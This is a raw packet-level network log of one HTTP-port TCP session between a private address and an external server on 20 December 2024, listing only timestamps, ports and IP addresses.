Dec 20, 2024 22:52:32.449331045 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.449378967 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.449436903 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.449486971 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.450515985 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.450567961 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.450603962 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.450660944 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.451693058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.451746941 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.451849937 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.451906919 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.452869892 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.452934027 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.452992916 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.453046083 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.454118967 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.454181910 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.454236984 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.454339027 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.455286026 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.455344915 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.455389977 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.455507994 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.456470966 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.456531048 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.456607103 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.456655979 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.457848072 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.457912922 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.458039999 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.458194971 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.458818913 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.458885908 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.458933115 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.458976030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.459979057 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.460045099 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.460103989 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.460153103 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.461219072 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.461282015 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.461285114 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.461328030 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.462372065 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.462438107 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.462491989 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.462624073 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.463565111 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.463622093 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.463813066 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.463869095 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.464756966 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.464809895 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.464842081 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.464989901 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.465922117 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.465984106 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.466017962 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.466061115 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.467097044 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.467150927 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.467191935 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.467236042 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.468297958 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.468362093 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.468421936 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.468468904 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.469475031 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.469536066 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.469582081 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.469737053 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.470655918 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.470717907 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.470735073 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.470859051 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.540396929 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.659929037 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.930645943 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.930732965 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.930735111 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.930783033 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.930891037 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.930934906 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.930984020 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.931026936 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.932081938 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.932177067 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.932209969 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.932254076 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.933263063 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.933391094 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.933434010 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.933468103 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.934488058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.934545040 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.934576988 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.934628010 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.935617924 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.935676098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.935705900 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.935751915 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.936817884 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.936868906 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.936909914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.936958075 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.938011885 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.938086033 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.938103914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.938152075 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.939296961 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.939351082 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.939359903 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.939404011 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.940368891 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.940418959 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.940471888 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.940516949 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.941528082 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.941576004 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.941662073 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.941711903 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.942719936 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.942771912 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.942801952 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.942846060 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.943909883 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.943964005 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.943994999 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.944037914 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.945095062 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.945144892 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.945194006 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.945241928 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.946264982 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.946316004 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.946363926 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.946407080 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.947458029 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.947508097 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.947582960 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.947628975 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.948637962 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.948688984 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.948888063 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.948937893 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.949805021 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.949852943 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.949939966 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.949986935 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.951059103 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.951109886 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.951143980 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.951188087 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.952265024 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.952318907 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.952379942 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.952425003 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.953387976 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.953438044 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.953466892 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.953511000 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.954581976 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.954642057 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.954674959 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.954725027 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.955749035 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.955796957 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.955862045 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.955910921 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.956923962 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.956983089 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.957039118 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.957083941 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.958123922 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.958168983 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.958220959 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.958267927 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.959383011 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.959424973 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.959429026 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.959470034 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.960496902 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.960546017 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.960628033 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.960673094 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.961714029 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.961769104 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.961818933 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.961870909 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.962873936 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.962932110 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.963006020 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.963054895 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.964040041 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.964093924 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.964147091 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.964194059 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.965212107 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.965264082 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.965317965 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.965358973 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.966396093 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.966449022 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.966496944 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.966545105 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.967592955 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.967655897 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.967772007 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.967816114 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.968796968 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.968852997 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.968884945 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.968936920 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.969970942 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.970025063 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.970057011 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.970107079 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.971141100 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.971189022 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.971254110 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.971299887 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.972353935 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.972419024 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.972448111 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.972501993 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.973511934 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.973572016 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.973649979 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.973695040 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.974733114 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.974785089 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.974832058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.974883080 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.975909948 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.975972891 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.976031065 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.976089954 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.977085114 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.977145910 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.977183104 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.977236032 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.978281021 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.978338003 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.978420019 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.978463888 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.979477882 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.979538918 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.979614019 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.979666948 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.980618954 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.980674982 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.980719090 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.980775118 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.981818914 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.981879950 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.981906891 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.981954098 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.982999086 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.983052015 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.983161926 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.983211040 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.984165907 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.984224081 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.984311104 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.984385967 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.985378981 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.985455990 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.985470057 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.985516071 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.986541033 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.986598015 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.986628056 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.986673117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.987729073 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.987785101 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.987816095 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.987864017 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.988902092 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.988957882 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.989016056 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.989059925 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.990082026 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.990135908 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.990181923 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.990227938 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.991291046 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.991358995 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.991410017 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.991462946 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.992489100 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.992558956 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.992605925 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.992657900 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.993716955 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.993769884 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.993938923 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.993988991 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.994851112 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.994903088 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:32.994941950 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:32.994996071 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.122606993 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.122684956 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.122701883 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.122736931 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.123143911 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.123188972 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.123296976 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.123342037 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.124345064 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.124402046 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.124434948 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.124479055 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.125428915 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.125483036 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.125534058 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.125571966 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.126626015 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.126672029 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.126703978 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.126748085 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.127743959 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.127789974 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.127867937 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.127913952 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.128943920 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.128990889 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.129019022 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.129064083 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.130038977 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.130085945 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.130150080 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.130196095 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.131220102 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.131266117 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.131335020 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.131380081 CET	49786	80	192.168.2.6	185.219.81.132
Dec 20, 2024 22:52:33.132368088 CET	80	49786	185.219.81.132	192.168.2.6
Dec 20, 2024 22:52:33.132414103 CET	49786	80	192.168.2.6	185.219.81.132
